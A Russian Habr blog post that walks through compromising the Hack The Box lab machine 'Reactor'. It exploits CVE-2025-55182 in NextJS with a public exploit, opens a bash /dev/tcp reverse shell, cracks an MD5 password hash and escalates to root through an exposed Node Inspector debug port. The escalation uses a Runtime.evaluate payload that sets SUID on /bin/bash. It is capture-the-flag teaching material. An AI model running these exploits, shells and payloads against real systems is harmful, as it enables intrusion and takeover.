Привет, Хабр! Сегодня будем взламывать сезонную машину из уже прошедшего 11-го сезона на Hack The Box. Нам предстоит проэксплуатировать уязвимость NextJS, наделавшую шума в конце 2025 года, крякнуть пользовательский хеш и повысить привилегии через забытый отладочный порт. Интересно? Тогда приступим!
Разведка
Как и полагается, первым делом определим открытые порты на атакуемом хосте:
sudo nmap -A 10.129.128.213

По результатам работы Nmap видно, что открыты следующие порты:
22/tcp — OpenSSH
3000/tcp — ppp?
Скрипты определили, что на 3000 порту работает веб‑приложение. Давайте посмотрим, что там находится:

Как показано на картинке выше, приложение представляет собой систему мониторинга состояния некого реактора. К сожалению, интерактивных элементов на странице обнаружить не удалось, как и комментариев с полезной информацией, любезно оставленных разработчиками. Не беда! Приступим к фаззингу.
Фаззинг
Данный этап будем проводить с помощью инструмента ffuf:
ffuf -u http://10.129.128.213:3000/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt

ffuf -u http://10.129.128.213:3000/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt

В результате перебора, файлов, папок и конечных точек не обнаружено. Не будем отчаиваться! Давайте посмотрим версии используемых фреймворков.
Первоначальный доступ
С помощью браузерного расширения Wappalayzer определим версию NextJS:

Ага! Используется не самая новая версия фреймворка. Пора проверять, не имеет ли она каких‑либо серьезных уязвимостей (спойлер: имеет!).
При первом же запросе гугл выдает информацию о CVE-2025-55182, имеющую 10 баллов по шкале CVSS:

Данная уязвимость также известна как React2Shell. Суть заключается в том, что backend приложения небезопасно десериализует данные, передаваемые в HTTP‑запросах, что в итоге приводит к удаленному выполнению кода. Эта уязвимость наделала шуму в конце 2025 года, так как не требует авторизации и затрагивает огромное количество веб‑приложений, разработанных с помощью одного из самых популярных стеков React/NextJS.
На GitHub найден публичный эксплойт данной CVE:

Давайте скачаем его и приступим к эксплуатации:
git clone https://github.com/Chocapikk/CVE-2025-55182 cd CVE-2025-55182 python -m venv venv source venv/bin/activate pip install -r requirements.txt python3 exploit.py -u http://10.129.128.213:3000/ -c "id"

Как видим, эксплойт успешно отрабатывает. Пора прокинуть шелл! Благо, в скачанном скрипте есть встроенный функционал, позволяющий нам это сделать. Для начала посмотрим ip‑адрес интерфейса OpenVPN:
ip a | grep tun0

После чего перейдем к установке шелла:
python3 exploit.py -u http://10.129.128.213:3000/ -r -l 10.10.17.135 -p 5555 -P nc-mkfifo

Но шелл, прокинутый таким способом неудобен в использовании, поскольку при вводе каждой команды требует двойного нажатия Enter. Не проблема! Прокинем стандартный bash reverse shell:
bash -c 'exec bash -i &>/dev/tcp/10.10.17.135/4444 <&1'

Далее приступим к апгрейду оболочки:
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm Ctrl+Z # на клавиатуре stty raw -echo; fg stty rows 54 columns 209

Оболочка работает из под пользователя node. В домашнем каталоге найдено имя пользователя engineer. Нашей следующей целью будет получить доступ к его учетной записи.
Получение user.txt
В корневом каталоге веб‑приложения находится база данных reactor.db:

Если посмотреть её содержимого с помощью sqlite3, то обнаружим вызывающую интерес таблицу users:
sqlite3 reactor.db .tables

При просмотре всех записей этой таблицы найдем хеши пользовательских паролей:
select * from users;

Если попробуем перебрать хеши с помощью утилиты Hashcat и словаря rockyou, то получим пароль от учетной записи engineer:
hashcat -m 0 "39d97110eafe2a9a68639812cd271e8e" /usr/share/wordlists/rockyou.txt

Выполним подключение по SSH и получим содержимое файла user.txt:
ssh engineer@10.129.128.213 cat user.txt

Получение root.txt
Давайте посмотрим какие процессы запущены в системе от root:
ps aux | grep root

Как видно по выводу команды, от пользователя root на 9229 порту запущен встроенный инструмент отладки NodeJS Inspector, через который можно выполнять системные команды. Данный инструмент предназначен для разработки. На рабочем сервере его обычно отключают, потому что он увеличивает поверхность атаки и даёт мощный интерфейс управления процессом. Чтобы воспользоваться промахом разработчика, нам необходимо взаимодействие по протоколу WebSocket. Для этого перекинем на уязвимую машину бинарник утилиты websocat:

Переименуем файл для удобства и поднимем веб‑сервер:
mv websocat.x86_64-unknown-linux-musl websocat sudo python -m http.server 80
На уязвимой машине скачаем websocat и дадим ему права на выполнение:
wget 10.10.17.135/websocat chmod +x websocat

Проверим доступность конечной точки и запомним id, возвращаемое в ответе:
curl -s http://127.0.0.1:9229/json

Отправим следующую полезную нагрузку:
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\").toString()"}}' | ./websocat ws://127.0.0.1:9229/1177c6f5-f0d8-4662-871b-d7606ee1080b

С помощью данной полезной нагрузки мы добавили SUID‑бит к /bin/bash, что дает права root любому, кто запустит эту оболочку:
ls -la /bin/bash

Запустим оболочку и прочитаем root.txt:
bash -p cat root.txt

Вот и подошла к концу компрометация машины Reactor. Благодарю за прочтение статьи и желаю успехов в дальнейших прохождениях!

